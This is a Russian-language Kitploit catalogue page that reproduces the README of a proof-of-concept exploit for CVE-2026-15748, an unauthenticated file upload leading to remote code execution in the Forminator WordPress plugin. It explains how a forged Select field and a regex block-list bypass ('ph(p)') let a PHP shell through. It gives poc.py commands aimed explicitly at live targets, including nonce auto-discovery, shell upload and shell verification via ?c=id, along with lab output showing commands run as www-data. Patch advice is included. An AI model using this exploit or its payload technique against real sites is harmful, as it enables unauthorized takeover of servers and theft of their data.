Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 — Неаутентифицированная произвольная загрузка файлов через подделанную конфигурацию поля загрузки | Kitploit
Инструменты/GitHubGitHub/ubaydev/cve-2026-15748
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 — Неаутентифицированная произвольная загрузка файлов через подделанную конфигурацию поля загрузки

Репозиторий
321 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-15748 — Forminator Forms: неаутентифицированная произвольная загрузка файлов → RCE

CVSS 9.8 (Critical) · Затронуто: Forminator <= 1.56.1 · Исправлено: 1.56.2 Исследователь: daroo (Wordfence Bug Bounty, $2,048) · ~600k активных установок Разбор: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Цепочка первопричин

Три слабых места объединяются через подделанное значение поля Select:

  1. Отсутствие санитизации вложенных массивов полей — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() перебирает каждое сохранённое поле. Для сохранённого поля Select select-1 значение $field_data = prepared_data['select-1'] — это управляемый атакующим вложенный массив. Когда в нём присутствует , массив целиком добавляется к (front-action.php ~строка 1088), до какой-либо санитизации/валидации по каждому полю. не удаляет эти значения.

return
field_data_array
maybe_handle_custom_option()
  • Недоверенная конфигурация поля считается доверенной при загрузке — Forminator_CForm_Front_Action::process_uploads() перебирает field_data_array, доверяет подделанному field_type == 'upload', использует подделанный name для выбора входа $_FILES и передаёт подделанный field_array как доверенную конфигурацию в Forminator_Upload::handle_file_upload().

  • Обход блок-листа по точному ключу — forminator_allowed_mime_types() удаляет литеральный ключ php, но wp_check_filetype() трактует ключи как regex. Ключ ph(p) не отсекается блок-листом, но при этом соответствует суффиксу .php. additional-type = ph(p)|text/x-php позволяет файлу .php пройти валидацию.

  • Условие эксплуатации

    Опубликованная форма должна содержать оба поля: File Upload и Select. Select — лишь переносчик.

    Предостережение по эксплуатации (ПОДТВЕРЖДЕНО В ЛАБОРАТОРИИ)

    • Загрузка произвольного .php на диск успешно выполняется по умолчанию (для записи не требуется особая конфигурация).
    • Для RCE необходимо, чтобы в корне загрузки отсутствовал Apache .htaccess. Стандартный корень Forminator и пользовательский корень — оба получают .htaccess, блокирующий PHP (SetHandler none / RemoveHandler). RCE срабатывает только тогда, когда этот .htaccess отсутствует — сценарий из разбора: «пользовательский корень хранилища, созданный во время фронтенд-запроса, когда insert_with_markers() не загружен».
    • В лаборатории мы добились RCE, используя пользовательский корень хранилища и симулируя состояние без .htaccess.

    Путь загрузки и хэш (важно для живого тестирования)

    • Стандартный корень: wp-content/uploads/forminator/ → файл по адресу wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
    • Пользовательский корень: если администратор задал forminator_custom_upload_root (например, cveuploads), файлы попадают в wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
    • <hash> — это wp_hash($form_id) — вычисляется из AUTH-солей сайта, поэтому он не предсказуем извне. poc.py выводит шаблон пути; чтобы завершить его, необходимо восстановить хэш (листинг каталога, URL/лог уже загруженного файла, запись в админке и т.п.) через --form-hash.
    • Имя загруженного файла = wp_generate_password(12,false,false) . '-' . <original> → например, cX3fRjMDDu03-shell.php (12 случайных буквенно-цифровых символов + - + исходное имя).

    Использование — poc.py

    По замыслу — работа с живыми целями; вспомогательные функции локальной лаборатории (сканирование файловой системы, удаление .htaccess) ограничены только адресами http://wordpresslab.test / http://localhost.

    root@kitploit:~
    # A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
    python3 poc.py --target https://site.tld/                       # url-only -> fetches index
    python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
    python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42
    
    # B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) Verify a candidate shell URL on a live target
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) local lab: full RCE (scans container FS, removes .htaccess, executes)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

    Флаги

    FlagОписание
    --targetбазовый URL (или полный URL страницы, если не заданы --page-id/ручные параметры)
    --page-idID записи; если пусто, для получения nonce/form_id запрашивается сам целевой URL
    --form-id, --nonceобход автоматического обнаружения; страница всё равно запрашивается для сбора через --auto
    --upload-fieldимя настоящего поля загрузки (по умолчанию upload-1)
    --forge-nameподдельный носитель $_FILES (по умолчанию = настоящее имя, режим коллизии; используйте отдельное имя для чистого success=True)
    --selectиспользуемое поле select (по умолчанию select-1)
    --extra name=valueпринудительно задать значение поля (повторяемый; --extra 'checkbox-1[]=a+b' для нескольких значений)
    --auto / --no-autoизвлекать реальные поля формы из HTML и автоматически заполнять правдоподобные значения по типу (по умолчанию включено)
    --upload-rootотносительный корень загрузки (по умолчанию wp-content/uploads/forminator; укажите, например, wp-content/uploads/cveuploads для пользовательского корня)
    --form-hashчасть <hash> каталога загрузки → завершает/выводит конкретный URL
    --verify-urlна живой цели: проверить URL кандидатного шелла через ?c=id/?c=whoami
    --find-shellтолько локально (wordpresslab.test/localhost): найти самый свежий *-shell.php, удалить .htaccess, выполнить
    --no-htaccessвывести примечание об удалении .htaccess из локальной лаборатории

    Соответствие значений --auto (извлечено из HTML формы)

    Тип поляГенерируемое значение
    email / имя содержит emailauto<rand>@mailinator.com
    tel / имя содержит phone10 случайных цифр
    url / имя содержит urlhttps://example.com/<rand>
    numberслучайное 1–9999
    date2026-08-19
    группа чекбоксов/радиокнопок name[]первое значение варианта (сканируются все input с тем же именем)
    одиночный чекбокс/радиокнопкаатрибут value, запасной вариант — checked
    <select> (не переносчик)первая непустая опция
    <textarea>случайный текст
    обычный текст10 случайных символов

    Пропускаются: внутренние поля (action/form_id/nonce/...), type="file" (upload-*), select-* (переносчик эксплойта), calculation-* (вычисляемые) и поля сторонних плагинов (wpforms[...]).

    Воспроизведение в лаборатории (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

    Настройка:

    • Форма с настоящим полем Upload и полем Select (создана через build_form.php, API Forminator_Form_Model).
    • Включён пользовательский корень хранилища загрузок (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads), чтобы можно было продемонстрировать RCE. cveuploads/ — это лабораторный артефакт, а не стандартное поведение Forminator.
    • Примечание: для чистого success=True подделанный name должен отличаться от element_id настоящего поля загрузки. При совпадающем имени файл всё равно загружается, но настоящее поле также выполняет собственную проверку MIME по умолчанию → в ответе сообщается об ошибке, хотя шелл уже находится на диске.

    Сырые данные (лабораторный запуск):

    root@kitploit:~
    # default path pattern (hash is site-secret):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess present (protected): request returns raw PHP source (not executed)
    

    Файлы

    • poc.py — PoC, рассчитанный на живые цели (автообнаружение, автозаполнение, verify-url, локальный помощник RCE)
    • build_form.php — программный конструктор лабораторной формы (upload + select) через API модели
    • README.md — этот документ

    Меры по устранению

    • Обновите Forminator до >= 1.56.2 (блокирует обход MIME-блок-листа и путь с доверенной конфигурацией поля).
    • Убедитесь, что любой пользовательский корень хранилища загрузок защищён .htaccess/index-защитами Forminator.
    • Запускайте PoC только против целей, на тестирование которых у вас есть разрешение.
    Скачать инструмент